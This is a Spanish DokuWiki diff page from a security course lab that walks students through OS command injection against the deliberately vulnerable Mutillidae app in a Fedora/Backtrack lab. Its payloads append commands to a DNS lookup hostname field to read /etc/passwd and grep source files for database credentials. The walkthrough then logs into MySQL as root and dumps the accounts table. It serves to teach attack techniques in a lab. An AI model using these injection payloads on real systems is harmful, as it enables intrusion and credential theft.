Herramientas de usuario

Herramientas del sitio


sad:fedora14:p2

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anterior Revisión previa
Próxima revisión
Revisión previa
sad:fedora14:p2 [2018/01/23 23:54]
José Manuel Guallar
sad:fedora14:p2 [2019/01/04 13:18] (actual)
Línea 28: Línea 28:
 Lo primero de todo voy a ver que ip tiene cada uno de los equipos con los que voy a trabajar, tanto el Fedora como el Backtrack ​ Lo primero de todo voy a ver que ip tiene cada uno de los equipos con los que voy a trabajar, tanto el Fedora como el Backtrack ​
  
-1+{{:​sad:​fedora:​p2:​01.png?​500|}}
  
 Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia
  
 +<code bash>
 [root@fedora14 estudiante]#​ service mysqld start [root@fedora14 estudiante]#​ service mysqld start
 +</​code>​
  
-02+{{:​sad:​fedora:​p2:​02.png?500|}}
  
 voy al Backtrack y escribo en el navegador ​ http://​ip-fedora/​mutillidae voy al Backtrack y escribo en el navegador ​ http://​ip-fedora/​mutillidae
  
-03+{{:​sad:​fedora:​p2:​03.png?500|}}
  
-vamos a ver como funciona DNS Lookup+Vamos a ver como funciona DNS Lookup
  
-vamos a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup+Tenemos que ir a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
  
-index13+{{:​sad:​fedora:​p2:​index.13.jpg?​500|}}
  
 El DNS lookup está diseñada para hacer exactamente eso... proporciona una búsqueda de DNS. El DNS lookup está diseñada para hacer exactamente eso... proporciona una búsqueda de DNS.
  
-04+{{:​sad:​fedora:​p2:​04.png?500|}}
  
 Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando. Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando.
Línea 54: Línea 56:
 El procedimiento de agregar un ";"​ después de lo que la aplicación espera, se llama comando fuzzing. El procedimiento de agregar un ";"​ después de lo que la aplicación espera, se llama comando fuzzing.
  
-A continuación,​ ejecutará el comando "uname -a", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo+A continuación,​ ejecutará el comando "**uname -a**", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo
  
 +<code bash>
 www.colegiomontessori.com;​uname -a www.colegiomontessori.com;​uname -a
 +</​code>​
  
 +{{:​sad:​fedora:​p2:​05.png?​500|}}
  
-05 +======  ​Realizar Reconocimiento ​======
- +
-Realizar Reconocimiento+
  
 Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular? Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular?
  
-Ahora vamos a ejecutar el "​pwd"​ para mostrarnos el directorio de trabajo actual.+Ahora ejecutamos ​"​pwd"​ para mostrarnos el directorio de trabajo actual.
  
 Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php
  
-entonces ejecutamos www.colegiomontessori.com;​ pwd+entonces ejecutamos 
 +<code bash> 
 + www.colegiomontessori.com;​ pwd 
 +</​code>​ 
 +{{:​sad:​fedora:​p2:​06.png?​500|}} 
 + 
 +====== Interrogar la aplicación dns-lookup.php ======
  
-06 
-Interrogar la aplicación dns-lookup.php 
  
 Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema. Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema.
Línea 78: Línea 85:
 Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual. Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual.
  
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​dns-lookup.php"​ | xargs egrep '​(exec|system|virtual)'​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​dns-lookup.php"​ | xargs egrep '​(exec|system|virtual)'​
 +</​code>​
  
-07+{{:​sad:​fedora:​p2:​07.png?500|}}
  
 Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup
  
- +Ahora vamos a descubrir la Base de Datos usando el fichero ​**/​etc/​passwd 
-Ahora vamos a descubrir la Base de Datos usando el fichero /​etc/​passwd +**
 Vamos a buscar en /etc/passwd algunas de las siguientes palabras Vamos a buscar en /etc/passwd algunas de las siguientes palabras
  
-  ​postgres, sql, db2 y ora+**postgres, sql, db2 y ora**
   ​   ​
-para eso vamos a escribir+para eso escribirmos :
  
 +<code bash>
 www.colegiomontessori.com;​ cat /etc/passwd | egrep -i '​(postgres|sql|db2|ora)'​ www.colegiomontessori.com;​ cat /etc/passwd | egrep -i '​(postgres|sql|db2|ora)'​
 +</​code>​
  
 LOL LOL LOL nos dice que mysql es la base de datos que están usando LOL LOL LOL nos dice que mysql es la base de datos que están usando
  
-08+{{:​sad:​fedora:​p2:​08.png?500|}}
  
-Vamos a descubrir el motor de base de datos con el comando "​ps"​+Vamos a descubrir ​cual es el motor de base de datos que se esta usando ​con el comando "​ps"​
  
 Usemos el comando "​ps"​ para buscar las siguientes procesos: postgres, sql, db2 y ora. Usemos el comando "​ps"​ para buscar las siguientes procesos: postgres, sql, db2 y ora.
-    Instrucciones:​ 
  
-www.colegiomontessori.com;​ ps -eaf | egrep -i '​(postgres | sql | db2 | ora)'+<code bash> 
 +www.colegiomontessori.com;​ ps -eaf | egrep -i '​(postgres|sql|db2|ora)'​ 
 +</​code>​
  
 El mysqld (daemon) se está ejecutando. El mysqld (daemon) se está ejecutando.
  
-09+{{:​sad:​fedora:​p2:​09.png?500|}}
  
-Ahora vamos a listar ​todos los scripts de php +====== Listar ​todos los scripts de php ======
-Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /​var/​www/​html/​mutillidae contiene un nombre de usuario y contraseña de la base de datos. ​       Pero, primero enumera todos los scripts php.+
  
 +
 +Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /​var/​www/​html/​mutillidae contiene un nombre de usuario y contraseña de la base de datos. ​
 +
 +Pero, primero enumera todos los scripts php.
 +
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​
 +</​code>​
  
-10+{{:​sad:​fedora:​p2:​10.png?500|}}
  
 podemos ver una multitud de scripts para interrogar podemos ver una multitud de scripts para interrogar
Línea 121: Línea 138:
 Buscar scripts php para la contraseña de cadena Buscar scripts php para la contraseña de cadena
  
-Ahoravamos a buscar ​en los más de 900 scripts en PHP la palabra "​contraseña"​ y "​="​.+Ahora buscamos ​en los más de 900 scripts en PHP la palabra "​contraseña"​ y "​="​.
  
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ | xargs grep -i "​password"​ | grep "​="​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ | xargs grep -i "​password"​ | grep "​="​
 +</​code>​
  
 y observamos la respuesta 8-om(8-o y observamos la respuesta 8-om(8-o
  
-11+{{:​sad:​fedora:​p2:​11.png?500|}}
  
-ahora observamos que en MySQLHandler.php contiene la siguiente cadena: +y observamos que el fichero ** MySQLHandler.php** contiene la siguiente cadena:
-        $mMySQLDatabasePassword = "​samurai";​+
  
-12+<code mysql> 
 +$mMySQLDatabasePassword = "​samurai";​ 
 +</​code>​ 
 +{{:​sad:​fedora:​p2:​12.png?500|}}
  
 Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "​samurai",​ que está en el fichero MYSQLHandler.php ​ pero no sabemos el usuario que utiliza esa contraseña,​ por lo que  vamos a buscar en MySQLHandler.php las palabras usuario (user) o login Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "​samurai",​ que está en el fichero MYSQLHandler.php ​ pero no sabemos el usuario que utiliza esa contraseña,​ por lo que  vamos a buscar en MySQLHandler.php las palabras usuario (user) o login
  
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs egrep -i '​(user|login)'​ | grep "​="​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs egrep -i '​(user|login)'​ | grep "​="​
 +</​code>​
  
-13+{{:​sad:​fedora:​p2:​13.png?500|}}
  
 Nos da mucha información,​ por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->​mMySQLConnection _... Nos da mucha información,​ por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->​mMySQLConnection _...
  
-Mostrar MySQLHandler.php+**Mostrar MySQLHandler.php**
  
 Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan. Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan.
  
-Es posible visualizar los contenidos del programa MySQLHandler.php,​ codificando las etiquetas "<? Php" y "?>"​. Estas etiquetas le dicen a Apache que ejecute un script php. +Es posible visualizar los contenidos del programa** MySQLHandler.php**, codificando las etiquetas "<? Php" y "?>"​. Estas etiquetas le dicen a Apache que ejecute un script php. 
  
 Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<"​ a "& # 60;" y ">"​ a "& # 62;". Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<"​ a "& # 60;" y ">"​ a "& # 62;".
 +<code bash>
 www.colegiomontessor.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs cat | sed '​s/</​\&#​60;/​g'​ | sed '​s/>/​\&#​62;/​g'​ www.colegiomontessor.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs cat | sed '​s/</​\&#​60;/​g'​ | sed '​s/>/​\&#​62;/​g'​
 +</​code>​
  
-14+{{:​sad:​fedora:​p2:​14.png?500|}}
  
 Aqui sacamos mucha mucha información LOLLOL por un lado "​root"​ el usuario de la base de datos, por otro lado "​samurai"​ la contraseña de la base de datos y por ultimo "​nowasp"​ el nombre de la base de datos Aqui sacamos mucha mucha información LOLLOL por un lado "​root"​ el usuario de la base de datos, por otro lado "​samurai"​ la contraseña de la base de datos y por ultimo "​nowasp"​ el nombre de la base de datos
  
 +<code mysql>
     static public $mMySQLDatabaseUsername = "​root";​     static public $mMySQLDatabaseUsername = "​root";​
  
Línea 162: Línea 186:
  
     static public $mMySQLDatabaseName = "​nowasp";​     static public $mMySQLDatabaseName = "​nowasp";​
 +</​code>​
  
-Ahora podemos ir al terminal de nuestro Backtrack+Ahora podemos ir al terminal de nuestro ​**Backtrack**
  
 +<code bash>
 root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai
 mysql> show databases; mysql> show databases;
 mysql> use nowasp; mysql> use nowasp;
 +</​code>​
 +{{:​sad:​fedora:​p2:​15.png?​500|}}
  
-15+====== A nevegar por la tablas ======
  
-Ahora vamos a nevegar por la tablas 
  
 Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña
  
-16 +{{:​sad:​fedora:​p2:​16.png?500|}}
  
 +<code mysql>
 mysql> select * from accounts; mysql> select * from accounts;
 mysql> quit; mysql> quit;
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​17.png?​500|}}
  
-17 
  
 **''​Print de pantalla a entregar''​** **''​Print de pantalla a entregar''​**
  
 +<code bash>
 root@bt:~# cd root@bt:~# cd
 root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai -e "​select * from nowasp.accounts"​ > account.txt root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai -e "​select * from nowasp.accounts"​ > account.txt
Línea 190: Línea 220:
 root@bt:~# date root@bt:~# date
 root@bt:~# echo "Tu nombre"​ root@bt:~# echo "Tu nombre"​
 +</​code>​
  
  
  
sad/fedora14/p2.1516751699.txt.gz · Última modificación: 2019/01/04 13:18 (editor externo)